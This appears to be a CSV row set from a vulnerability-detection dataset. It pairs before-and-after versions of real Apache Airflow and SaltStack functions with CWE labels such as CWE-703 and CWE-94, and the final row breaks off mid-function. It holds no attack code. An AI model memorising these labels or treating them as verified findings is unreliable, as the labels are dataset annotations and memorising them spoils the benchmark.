functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,0,"def _run_raw_task(
        self,
        mark_success: bool = False,
        test_mode: bool = False,
        job_id: str | None = None,
        pool: str | None = None,
        session: Session = NEW_SESSION,
    ) -> TaskReturnCode | None:
        """"""
        Immediately runs the task (without checking or changing db state
        before execution) and then sets the appropriate final state after
        completion and runs any post-execute callbacks. Meant to be called
        only after another function changes the state to running.

        :param mark_success: Don't run the task, mark its state as success
        :param test_mode: Doesn't record success or failure in the DB
        :param pool: specifies the pool to use to run the task instance
        :param session: SQLAlchemy ORM Session
        """"""
        self.test_mode = test_mode
        self.refresh_from_task(self.task, pool_override=pool)
        self.refresh_from_db(session=session)
        self.job_id = job_id
        self.hostname = get_hostname()
        self.pid = os.getpid()
        if not test_mode:
            session.merge(self)
            session.commit()
        actual_start_date = timezone.utcnow()
        Stats.incr(f""ti.start.{self.task.dag_id}.{self.task.task_id}"", tags=self.stats_tags)
        # Same metric with tagging
        Stats.incr(""ti.start"", tags=self.stats_tags)
        # Initialize final state counters at zero
        for state in State.task_states:
            Stats.incr(
                f""ti.finish.{self.task.dag_id}.{self.task.task_id}.{state}"",
                count=0,
                tags=self.stats_tags,
            )
            # Same metric with tagging
            Stats.incr(
                ""ti.finish"",
                count=0,
                tags={**self.stats_tags, ""state"": str(state)},
            )

        self.task = self.task.prepare_for_execution()
        context = self.get_template_context(ignore_param_exceptions=False)

        # We lose previous state because it's changed in other process in LocalTaskJob.
        # We could probably pass it through here though...
        get_listener_manager().hook.on_task_instance_running(
            previous_state=TaskInstanceState.QUEUED, task_instance=self, session=session
        )
        try:
            if not mark_success:
                self._execute_task_with_callbacks(context, test_mode)
            if not test_mode:
                self.refresh_from_db(lock_for_update=True, session=session)
            self.state = State.SUCCESS
        except TaskDeferred as defer:
            # The task has signalled it wants to defer execution based on
            # a trigger.
            self._defer_task(defer=defer, session=session)
            self.log.info(
                ""Pausing task as DEFERRED. dag_id=%s, task_id=%s, execution_date=%s, start_date=%s"",
                self.dag_id,
                self.task_id,
                self._date_or_empty(""execution_date""),
                self._date_or_empty(""start_date""),
            )
            if not test_mode:
                session.add(Log(self.state, self))
                session.merge(self)
                session.commit()
            return TaskReturnCode.DEFERRED
        except AirflowSkipException as e:
            # Recording SKIP
            # log only if exception has any arguments to prevent log flooding
            if e.args:
                self.log.info(e)
            if not test_mode:
                self.refresh_from_db(lock_for_update=True, session=session)
            self.state = State.SKIPPED
        except AirflowRescheduleException as reschedule_exception:
            self._handle_reschedule(actual_start_date, reschedule_exception, test_mode, session=session)
            session.commit()
            return None
        except (AirflowFailException, AirflowSensorTimeout) as e:
            # If AirflowFailException is raised, task should not retry.
            # If a sensor in reschedule mode reaches timeout, task should not retry.
            self.handle_failure(e, test_mode, context, force_fail=True, session=session)
            session.commit()
            raise
        except AirflowException as e:
            if not test_mode:
                self.refresh_from_db(lock_for_update=True, session=session)
            # for case when task is marked as success/failed externally
            # or dagrun timed out and task is marked as skipped
            # current behavior doesn't hit the callbacks
            if self.state in State.finished:
                self.clear_next_method_args()
                session.merge(self)
                session.commit()
                return None
            else:
                self.handle_failure(e, test_mode, context, session=session)
                session.commit()
                raise
        except (Exception, KeyboardInterrupt) as e:
            self.handle_failure(e, test_mode, context, session=session)
            session.commit()
            raise
        finally:
            Stats.incr(f""ti.finish.{self.dag_id}.{self.task_id}.{self.state}"", tags=self.stats_tags)
            # Same metric with tagging
            Stats.incr(""ti.finish"", tags={**self.stats_tags, ""state"": str(self.state)})

        # Recording SKIPPED or SUCCESS
        self.clear_next_method_args()
        self.end_date = timezone.utcnow()
        self._log_state()
        self.set_duration()

        # run on_success_callback before db committing
        # otherwise, the LocalTaskJob sees the state is changed to `success`,
        # but the task_runner is still running, LocalTaskJob then treats the state is set externally!
        self._run_finished_callback(self.task.on_success_callback, context, ""on_success"")

        if not test_mode:
            session.add(Log(self.state, self))
            session.merge(self).task = self.task
            if self.state == TaskInstanceState.SUCCESS:
                self._register_dataset_changes(session=session)
                get_listener_manager().hook.on_task_instance_success(
                    previous_state=TaskInstanceState.RUNNING, task_instance=self, session=session
                )

            session.commit()
        return None",CWE-Unknown,apache/airflow,936e7c4755e503cc2a067398e39d485fc8f0984e,"def _run_raw_task(
        self,
        mark_success: bool = False,
        test_mode: bool = False,
        job_id: str | None = None,
        pool: str | None = None,
        session: Session = NEW_SESSION,
    ) -> TaskReturnCode | None:
        """"""
        Immediately runs the task (without checking or changing db state
        before execution) and then sets the appropriate final state after
        completion and runs any post-execute callbacks. Meant to be called
        only after another function changes the state to running.

        :param mark_success: Don't run the task, mark its state as success
        :param test_mode: Doesn't record success or failure in the DB
        :param pool: specifies the pool to use to run the task instance
        :param session: SQLAlchemy ORM Session
        """"""
        self.test_mode = test_mode
        self.refresh_from_task(self.task, pool_override=pool)
        self.refresh_from_db(session=session)
        self.job_id = job_id
        self.hostname = get_hostname()
        self.pid = os.getpid()
        if not test_mode:
            session.merge(self)
            session.commit()
        actual_start_date = timezone.utcnow()
        Stats.incr(f""ti.start.{self.task.dag_id}.{self.task.task_id}"", tags=self.stats_tags)
        # Initialize final state counters at zero
        for state in State.task_states:
            Stats.incr(
                f""ti.finish.{self.task.dag_id}.{self.task.task_id}.{state}"",
                count=0,
                tags=self.stats_tags,
            )

        self.task = self.task.prepare_for_execution()
        context = self.get_template_context(ignore_param_exceptions=False)

        # We lose previous state because it's changed in other process in LocalTaskJob.
        # We could probably pass it through here though...
        get_listener_manager().hook.on_task_instance_running(
            previous_state=TaskInstanceState.QUEUED, task_instance=self, session=session
        )
        try:
            if not mark_success:
                self._execute_task_with_callbacks(context, test_mode)
            if not test_mode:
                self.refresh_from_db(lock_for_update=True, session=session)
            self.state = State.SUCCESS
        except TaskDeferred as defer:
            # The task has signalled it wants to defer execution based on
            # a trigger.
            self._defer_task(defer=defer, session=session)
            self.log.info(
                ""Pausing task as DEFERRED. dag_id=%s, task_id=%s, execution_date=%s, start_date=%s"",
                self.dag_id,
                self.task_id,
                self._date_or_empty(""execution_date""),
                self._date_or_empty(""start_date""),
            )
            if not test_mode:
                session.add(Log(self.state, self))
                session.merge(self)
                session.commit()
            return TaskReturnCode.DEFERRED
        except AirflowSkipException as e:
            # Recording SKIP
            # log only if exception has any arguments to prevent log flooding
            if e.args:
                self.log.info(e)
            if not test_mode:
                self.refresh_from_db(lock_for_update=True, session=session)
            self.state = State.SKIPPED
        except AirflowRescheduleException as reschedule_exception:
            self._handle_reschedule(actual_start_date, reschedule_exception, test_mode, session=session)
            session.commit()
            return None
        except (AirflowFailException, AirflowSensorTimeout) as e:
            # If AirflowFailException is raised, task should not retry.
            # If a sensor in reschedule mode reaches timeout, task should not retry.
            self.handle_failure(e, test_mode, context, force_fail=True, session=session)
            session.commit()
            raise
        except AirflowException as e:
            if not test_mode:
                self.refresh_from_db(lock_for_update=True, session=session)
            # for case when task is marked as success/failed externally
            # or dagrun timed out and task is marked as skipped
            # current behavior doesn't hit the callbacks
            if self.state in State.finished:
                self.clear_next_method_args()
                session.merge(self)
                session.commit()
                return None
            else:
                self.handle_failure(e, test_mode, context, session=session)
                session.commit()
                raise
        except (Exception, KeyboardInterrupt) as e:
            self.handle_failure(e, test_mode, context, session=session)
            session.commit()
            raise
        finally:
            Stats.incr(f""ti.finish.{self.dag_id}.{self.task_id}.{self.state}"", tags=self.stats_tags)

        # Recording SKIPPED or SUCCESS
        self.clear_next_method_args()
        self.end_date = timezone.utcnow()
        self._log_state()
        self.set_duration()

        # run on_success_callback before db committing
        # otherwise, the LocalTaskJob sees the state is changed to `success`,
        # but the task_runner is still running, LocalTaskJob then treats the state is set externally!
        self._run_finished_callback(self.task.on_success_callback, context, ""on_success"")

        if not test_mode:
            session.add(Log(self.state, self))
            session.merge(self).task = self.task
            if self.state == TaskInstanceState.SUCCESS:
                self._register_dataset_changes(session=session)
                get_listener_manager().hook.on_task_instance_success(
                    previous_state=TaskInstanceState.RUNNING, task_instance=self, session=session
                )

            session.commit()
        return None"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/file/test_comment.py,1,"def test_comment():
    """"""
    Test to comment out specified lines in a file.
    """"""
    with patch.object(os.path, ""exists"", MagicMock(return_value=True)):
        name = ""/etc/aliases"" if salt.utils.platform.is_darwin() else ""/etc/fstab""
        regex = ""bind 127.0.0.1""

        ret = {""name"": name, ""result"": False, ""comment"": """", ""changes"": {}}

        comt = ""Must provide name to file.comment""
        ret.update({""comment"": comt, ""name"": """"})
        assert filestate.comment("""", regex) == ret

        mock_t = MagicMock(return_value=True)
        mock_f = MagicMock(return_value=False)
        with patch.object(os.path, ""isabs"", mock_f):
            comt = ""Specified file {} is not an absolute path"".format(name)
            ret.update({""comment"": comt, ""name"": name})
            assert filestate.comment(name, regex) == ret

        with patch.object(os.path, ""isabs"", mock_t):
            with patch.dict(
                filestate.__salt__,
                {
                    ""file.search"": MagicMock(
                        side_effect=[False, True, False, False, False, False]
                    )
                },
            ):
                comt = ""Pattern already commented""
                ret.update({""comment"": comt, ""result"": True})
                assert filestate.comment(name, regex) == ret

                comt = ""Pattern not found and ignore_missing set to True""
                ret.update({""comment"": comt, ""result"": True})
                assert filestate.comment(name, regex, ignore_missing=True) == ret

                comt = ""{}: Pattern not found"".format(regex)
                ret.update({""comment"": comt, ""result"": False})
                assert filestate.comment(name, regex) == ret

            with patch.dict(
                filestate.__salt__,
                {
                    ""file.search"": MagicMock(side_effect=[True, True, True]),
                    ""file.comment"": mock_t,
                    ""file.comment_line"": mock_t,
                },
            ):
                with patch.dict(filestate.__opts__, {""test"": True}):
                    comt = ""File {} is set to be updated"".format(name)
                    ret.update(
                        {""comment"": comt, ""result"": None, ""changes"": {name: ""updated""}}
                    )
                    assert filestate.comment(name, regex) == ret

                with patch.dict(filestate.__opts__, {""test"": False}):
                    with patch.object(
                        salt.utils.files, ""fopen"", MagicMock(mock_open())
                    ):
                        comt = ""Commented lines successfully""
                        ret.update({""comment"": comt, ""result"": True, ""changes"": {}})
                        assert filestate.comment(name, regex) == ret",CWE-703,saltstack/salt,70bb8930de74b50bcb11645ccc09e53337407d89,"def test_comment():
    """"""
    Test to comment out specified lines in a file.
    """"""
    with patch.object(os.path, ""exists"", MagicMock(return_value=True)):
        name = ""/etc/aliases"" if salt.utils.platform.is_darwin() else ""/etc/fstab""
        regex = ""bind 127.0.0.1""

        ret = {""name"": name, ""result"": False, ""comment"": """", ""changes"": {}}

        comt = ""Must provide name to file.comment""
        ret.update({""comment"": comt, ""name"": """"})
        assert filestate.comment("""", regex) == ret

        mock_t = MagicMock(return_value=True)
        mock_f = MagicMock(return_value=False)
        with patch.object(os.path, ""isabs"", mock_f):
            comt = ""Specified file {} is not an absolute path"".format(name)
            ret.update({""comment"": comt, ""name"": name})
            assert filestate.comment(name, regex) == ret

        with patch.object(os.path, ""isabs"", mock_t):
            with patch.dict(
                filestate.__salt__,
                {""file.search"": MagicMock(side_effect=[False, True, False, False])},
            ):
                comt = ""Pattern already commented""
                ret.update({""comment"": comt, ""result"": True})
                assert filestate.comment(name, regex) == ret

                comt = ""{}: Pattern not found"".format(regex)
                ret.update({""comment"": comt, ""result"": False})
                assert filestate.comment(name, regex) == ret

            with patch.dict(
                filestate.__salt__,
                {
                    ""file.search"": MagicMock(side_effect=[True, True, True]),
                    ""file.comment"": mock_t,
                    ""file.comment_line"": mock_t,
                },
            ):
                with patch.dict(filestate.__opts__, {""test"": True}):
                    comt = ""File {} is set to be updated"".format(name)
                    ret.update(
                        {""comment"": comt, ""result"": None, ""changes"": {name: ""updated""}}
                    )
                    assert filestate.comment(name, regex) == ret

                with patch.dict(filestate.__opts__, {""test"": False}):
                    with patch.object(
                        salt.utils.files, ""fopen"", MagicMock(mock_open())
                    ):
                        comt = ""Commented lines successfully""
                        ret.update({""comment"": comt, ""result"": True, ""changes"": {}})
                        assert filestate.comment(name, regex) == ret"
,UNKNOWN,UNKNOWN,salt/utils/schedule.py,1,"def eval(self, now=None):
        '''
        Evaluate and execute the schedule

        :param int now: Override current time with a Unix timestamp``

        '''

        log.trace('==== evaluating schedule =====')

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'enabled' in schedule and not schedule['enabled']:
            return
        if 'skip_function' in schedule:
            self.skip_function = schedule['skip_function']
        for job, data in six.iteritems(schedule):
            if job == 'enabled' or not data:
                continue
            if job == 'skip_function' or not data:
                continue
            if not isinstance(data, dict):
                log.error('Scheduled job ""{0}"" should have a dict value, not {1}'.format(job, type(data)))
                continue
            # Job is disabled, continue
            if 'enabled' in data and not data['enabled']:
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: {0} in scheduled job {1}.'.format(
                        func, job
                    )
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            if not now:
                now = int(time.time())

            if 'until' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring until.')
                else:
                    until__ = dateutil_parser.parse(data['until'])
                    until = int(time.mktime(until__.timetuple()))

                    if until <= now:
                        log.debug('Until time has passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            if 'after' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring after.')
                else:
                    after__ = dateutil_parser.parse(data['after'])
                    after = int(time.mktime(after__.timetuple()))

                    if after >= now:
                        log.debug('After time has not passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            # Used for quick lookups when detecting invalid option combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error('Unable to use ""{0}"" options together. Ignoring.'
                          .format('"", ""'.join(scheduling_elements)))
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error('Unable to use ""{0}"" with ""{1}"" options. Ignoring'
                          .format('"", ""'.join(time_elements),
                                  '"", ""'.join(scheduling_elements)))
                continue

            if 'run_explicit' in data:
                _run_explicit = data['run_explicit']

                if isinstance(_run_explicit, six.string_types):
                    _run_explicit = [_run_explicit]

                # Copy the list so we can loop through it
                for i in copy.deepcopy(_run_explicit):
                    if len(_run_explicit) > 1:
                        if i < now - self.opts['loop_interval']:
                            _run_explicit.remove(i)

                if _run_explicit:
                    if _run_explicit[0] <= now < (_run_explicit[0] + self.opts['loop_interval']):
                        run = True
                        data['_next_fire_time'] = _run_explicit[0]

            if True in [True for item in time_elements if item in data]:
                if '_seconds' not in data:
                    interval = int(data.get('seconds', 0))
                    interval += int(data.get('minutes', 0)) * 60
                    interval += int(data.get('hours', 0)) * 3600
                    interval += int(data.get('days', 0)) * 86400

                    data['_seconds'] = interval

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = now + data['_seconds']

                    if interval < self.loop_interval:
                        self.loop_interval = interval

            elif 'once' in data:
                if data['_next_fire_time'] and \
                        data['_next_fire_time'] != now and \
                        not data['_splay']:
                    continue

                if not data['_next_fire_time'] and \
                        not data['_splay']:
                    once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                    try:
                        once = datetime.datetime.strptime(data['once'],
                                                          once_fmt)
                        data['_next_fire_time'] = int(
                            time.mktime(once.timetuple()))
                    except (TypeError, ValueError):
                        log.error('Date string could not be parsed: %s, %s',
                                  data['once'], once_fmt)
                        continue
                    if data['_next_fire_time'] != now:
                        continue

            elif 'when' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring job {0}.'.format(job))
                    continue

                if isinstance(data['when'], list):
                    _when = []
                    for i in data['when']:
                        if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                                i in self.opts['pillar']['whens']):
                            if not isinstance(self.opts['pillar']['whens'],
                                              dict):
                                log.error('Pillar item ""whens"" must be dict. '
                                          'Ignoring')
                                continue
                            __when = self.opts['pillar']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        elif ('whens' in self.opts['grains'] and
                              i in self.opts['grains']['whens']):
                            if not isinstance(self.opts['grains']['whens'],
                                              dict):
                                log.error('Grain ""whens"" must be dict.'
                                          'Ignoring')
                                continue
                            __when = self.opts['grains']['whens'][i]
                            try:
                                when__ = dateutil_parser.parse(__when)
                            except ValueError:
                                log.error('Invalid date string. Ignoring')
                                continue
                        else:
                            try:
                                when__ = dateutil_parser.parse(i)
                            except ValueError:
                                log.error('Invalid date string {0}. '
                                          'Ignoring job {1}.'.format(i, job))
                                continue
                        _when.append(int(time.mktime(when__.timetuple())))

                    if data['_splay']:
                        _when.append(data['_splay'])

                    # Sort the list of ""whens"" from earlier to later schedules
                    _when.sort()

                    # Copy the list so we can loop through it
                    for i in copy.deepcopy(_when):
                        if len(_when) > 1:
                            if i < now - self.opts['loop_interval']:
                                # Remove all missed schedules except the latest one.
                                # We need it to detect if it was triggered previously.
                                _when.remove(i)

                    if _when:
                        # Grab the first element, which is the next run time or
                        # last scheduled time in the past.
                        when = _when[0]

                        if '_run' not in data:
                            # Prevent run of jobs from the past
                            data['_run'] = bool(when >= now)

                        if not data['_next_fire_time']:
                            data['_next_fire_time'] = when

                        if data['_next_fire_time'] < when and \
                                not data['_run']:
                            data['_next_fire_time'] = when
                            data['_run'] = True

                    elif not data.get('_run', False):
                        data['_next_fire_time'] = None
                        continue

                else:
                    if ('pillar' in self.opts and 'whens' in self.opts['pillar'] and
                            data['when'] in self.opts['pillar']['whens']):
                        if not isinstance(self.opts['pillar']['whens'], dict):
                            log.error('Pillar item ""whens"" must be dict.'
                                      'Ignoring')
                            continue
                        _when = self.opts['pillar']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    elif ('whens' in self.opts['grains'] and
                          data['when'] in self.opts['grains']['whens']):
                        if not isinstance(self.opts['grains']['whens'], dict):
                            log.error('Grain ""whens"" must be dict. Ignoring')
                            continue
                        _when = self.opts['grains']['whens'][data['when']]
                        try:
                            when__ = dateutil_parser.parse(_when)
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    else:
                        try:
                            when__ = dateutil_parser.parse(data['when'])
                        except ValueError:
                            log.error('Invalid date string. Ignoring')
                            continue
                    when = int(time.mktime(when__.timetuple()))

                    if when < now and \
                            not data.get('_run', False) and \
                            not data['_splay']:
                        data['_next_fire_time'] = None
                        continue

                    if '_run' not in data:
                        data['_run'] = True

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = when

                    if data['_next_fire_time'] < when and \
                            not data['_run']:
                        data['_next_fire_time'] = when
                        data['_run'] = True

            elif 'cron' in data:
                if not _CRON_SUPPORTED:
                    log.error('Missing python-croniter. Ignoring job {0}'.format(job))
                    continue

                if data['_next_fire_time'] is None:
                    # Get next time frame for a ""cron"" job if it has been never
                    # executed before or already executed in the past.
                    try:
                        data['_next_fire_time'] = int(
                            croniter.croniter(data['cron'], now).get_next())
                    except (ValueError, KeyError):
                        log.error('Invalid cron string. Ignoring')
                        continue

                    # If next job run is scheduled more than 1 minute ahead and
                    # configured loop interval is longer than that, we should
                    # shorten it to get our job executed closer to the beginning
                    # of desired time.
                    interval = now - data['_next_fire_time']
                    if interval >= 60 and interval < self.loop_interval:
                        self.loop_interval = interval

            else:
                continue

            run = False
            seconds = data['_next_fire_time'] - now
            if data['_splay']:
                seconds = data['_splay'] - now
            if '_seconds' in data:
                if seconds <= 0:
                    run = True
            elif 'when' in data and data['_run']:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + self.opts['loop_interval']):
                    data['_run'] = False
                    run = True
            elif 'cron' in data:
                # Reset next scheduled time because it is in the past now,
                # and we should trigger the job run, then wait for the next one.
                if seconds <= 0:
                    data['_next_fire_time'] = None
                    run = True
            elif seconds == 0:
                run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'splay' in data and not data['_splay']:
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + splay:
                        log.debug('schedule.handle_func: Adding splay of '
                                  '{0} seconds to next run.'.format(splay))
                        run = False
                        data['_splay'] = data['_next_fire_time'] + splay
                        if 'when' in data:
                            data['_run'] = True

                if 'range' in data:
                    if not _RANGE_SUPPORTED:
                        log.error('Missing python-dateutil. Ignoring job {0}'.format(job))
                        continue
                    else:
                        if isinstance(data['range'], dict):
                            try:
                                start = int(time.mktime(dateutil_parser.parse(data['range']['start']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for start. Ignoring job {0}.'.format(job))
                                continue
                            try:
                                end = int(time.mktime(dateutil_parser.parse(data['range']['end']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for end. Ignoring job {0}.'.format(job))
                                continue
                            if end > start:
                                if 'invert' in data['range'] and data['range']['invert']:
                                    if now <= start or now >= end:
                                        run = True
                                    else:
                                        run = False
                                else:
                                    if start <= now <= end:
                                        run = True
                                    else:
                                        if self.skip_function:
                                            run = True
                                            func = self.skip_function
                                        else:
                                            run = False
                            else:
                                log.error('schedule.handle_func: Invalid range, end must be larger than start. \
                                         Ignoring job {0}.'.format(job))
                                continue
                        else:
                            log.error('schedule.handle_func: Invalid, range must be specified as a dictionary. \
                                     Ignoring job {0}.'.format(job))
                            continue

                if 'skip_during_range' in data:
                    if not _RANGE_SUPPORTED:
                        log.error('Missing python-dateutil. Ignoring job {0}'.format(job))
                        continue
                    else:
                        if isinstance(data['skip_during_range'], dict):
                            try:
                                start = int(time.mktime(dateutil_parser.parse(data['skip_during_range']['start']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for start in skip_during_range. Ignoring job {0}.'.format(job))
                                continue
                            try:
                                end = int(time.mktime(dateutil_parser.parse(data['skip_during_range']['end']).timetuple()))
                            except ValueError:
                                log.error('Invalid date string for end in skip_during_range. Ignoring job {0}.'.format(job))
                                log.error(data)
                                continue
                            if end > start:
                                if start <= now <= end:
                                    if self.skip_function:
                                        run = True
                                        func = self.skip_function
                                    else:
                                        run = False
                                else:
                                    run = True
                            else:
                                log.error('schedule.handle_func: Invalid range, end must be larger than start. \
                                         Ignoring job {0}.'.format(job))
                                continue
                        else:
                            log.error('schedule.handle_func: Invalid, range must be specified as a dictionary. \
                                     Ignoring job {0}.'.format(job))
                            continue

                if 'skip_explicit' in data:
                    _skip_explicit = data['skip_explicit']

                    if isinstance(_skip_explicit, six.string_types):
                        _skip_explicit = [_skip_explicit]

                    # Copy the list so we can loop through it
                    for i in copy.deepcopy(_skip_explicit):
                        if i < now - self.opts['loop_interval']:
                            _skip_explicit.remove(i)

                    if _skip_explicit:
                        if _skip_explicit[0] <= now <= (_skip_explicit[0] + self.opts['loop_interval']):
                            if self.skip_function:
                                run = True
                                func = self.skip_function
                            else:
                                run = False
                        else:
                            run = True

            if not run:
                continue

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            log.info('Running scheduled job: {0}{1}'.format(job, miss_msg))

            if 'jid_include' not in data or data['jid_include']:
                data['jid_include'] = True
                log.debug('schedule: This job was scheduled with jid_include, '
                          'adding to cache (jid_include defaults to True)')
                if 'maxrunning' in data:
                    log.debug('schedule: This job was scheduled with a max '
                              'number of {0}'.format(data['maxrunning']))
                else:
                    log.info('schedule: maxrunning parameter was not specified for '
                             'job {0}, defaulting to 1.'.format(job))
                    data['maxrunning'] = 1

            multiprocessing_enabled = self.opts.get('multiprocessing', True)

            if salt.utils.platform.is_windows():
                # Temporarily stash our function references.
                # You can't pickle function references, and pickling is
                # required when spawning new processes on Windows.
                functions = self.functions
                self.functions = {}
                returners = self.returners
                self.returners = {}
            try:
                if multiprocessing_enabled:
                    thread_cls = salt.utils.process.SignalHandlingMultiprocessingProcess
                else:
                    thread_cls = threading.Thread
                proc = thread_cls(target=self.handle_func, args=(multiprocessing_enabled, func, data))

                if multiprocessing_enabled:
                    with salt.utils.process.default_signals(signal.SIGINT, signal.SIGTERM):
                        # Reset current signals before starting the process in
                        # order not to inherit the current signal handlers
                        proc.start()
                else:
                    proc.start()

                if multiprocessing_enabled:
                    proc.join()
            finally:
                if '_seconds' in data:
                    data['_next_fire_time'] = now + data['_seconds']
                data['_last_run'] = now
                data['_splay'] = None
            if salt.utils.platform.is_windows():
                # Restore our function references.
                self.functions = functions
                self.returners = returners","CWE-94, CWE-330",saltstack/salt,ac8f28d921c5a022b28b447c3f8f991e1256d95d,"def eval(self, now=None):
        '''
        Evaluate and execute the schedule

        :param int now: Override current time with a Unix timestamp``

        '''

        log.trace('==== evaluating schedule =====')

        def _splay(splaytime):
            '''
            Calculate splaytime
            '''
            splay_ = None
            if isinstance(splaytime, dict):
                if splaytime['end'] >= splaytime['start']:
                    splay_ = random.randint(splaytime['start'],
                                            splaytime['end'])
                else:
                    log.error('schedule.handle_func: Invalid Splay, '
                              'end must be larger than start. Ignoring splay.')
            else:
                splay_ = random.randint(1, splaytime)
            return splay_

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'enabled' in schedule and not schedule['enabled']:
            return
        if 'skip_function' in schedule:
            self.skip_function = schedule['skip_function']
        for job, data in six.iteritems(schedule):
            if job == 'enabled' or not data:
                continue
            if job == 'skip_function' or not data:
                continue
            if not isinstance(data, dict):
                log.error('Scheduled job ""{0}"" should have a dict value, not {1}'.format(job, type(data)))
                continue
            # Job is disabled, continue
            if 'enabled' in data and not data['enabled']:
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: {0} in scheduled job {1}.'.format(
                        func, job
                    )
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            if not now:
                now = int(time.time())

            if 'until' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring until.')
                else:
                    until__ = dateutil_parser.parse(data['until'])
                    until = int(time.mktime(until__.timetuple()))

                    if until <= now:
                        log.debug('Until time has passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            if 'after' in data:
                if not _WHEN_SUPPORTED:
                    log.error('Missing python-dateutil. '
                              'Ignoring after.')
                else:
                    after__ = dateutil_parser.parse(data['after'])
                    after = int(time.mktime(after__.timetuple()))

                    if after >= now:
                        log.debug('After time has not passed '
                                  'skipping job: {0}.'.format(data['name']))
                        continue

            # Used for quick lookups when detecting invalid option combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error('Unable to use ""{0}"" options together. Ignoring.'
                          .format('"", ""'.join(scheduling_elements)))
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error('Unable to use ""{0}"" with ""{1}"" options. Ignoring'
                          .format('"", ""'.join(time_elements),
                                  '"", ""'.join(scheduling_elements)))
                continue

            if 'run_explicit' in data:
                _run_explicit = data['run_explicit']

                if isinstance(_run_explicit, six.string_types):
                    _run_explicit = [_run_explicit]

                # Copy the list so we can loop through it
                for i in copy.deepcopy(_run_explicit):
                    if len(_run_explicit) > 1:
                        if i < now - self.opts['loop_interval']:
                            _run_explicit.remove(i)

                if _run_explicit:
                    if _run_explicit[0] <= now <= (_run_explicit[0] + self.opts['loop_interval']):
                        run = True
                        data['_next_fire_time'] = _run_explicit[0]

            if True in [True for item in time_elements if item in data]:
                if '_seconds' not in data:
                    interval = int(data.get('seconds', 0))
                    interval += int(data.get('minutes', 0)) * 60
                    interval += int(data.get('hours', 0)) * 3600
                    interval += int(data.get('days', 0)) * 86400

                    data['_seconds'] = interval

                    if not data['_next_fire_time']:
                        data['_next_fire_time'] = now + data['_seconds']

                    if interval < self.loop_interval:
                        self.loop_interval = interval

            elif 'once' in data:
                if data['_next_fire_time'] and \
                        data['_next_fire_time'] != now and \
                        not data['_splay']:
                    continue

                if not data['_next_fire_time'] and \
                        not data['_splay']:
                    once_fmt = data.get('once_fmt', '%Y-%m-%dT%H:%M:%S')
                    try:
                        once = datetime.datetime.strptime(data['once'],
                                                          once_fmt)
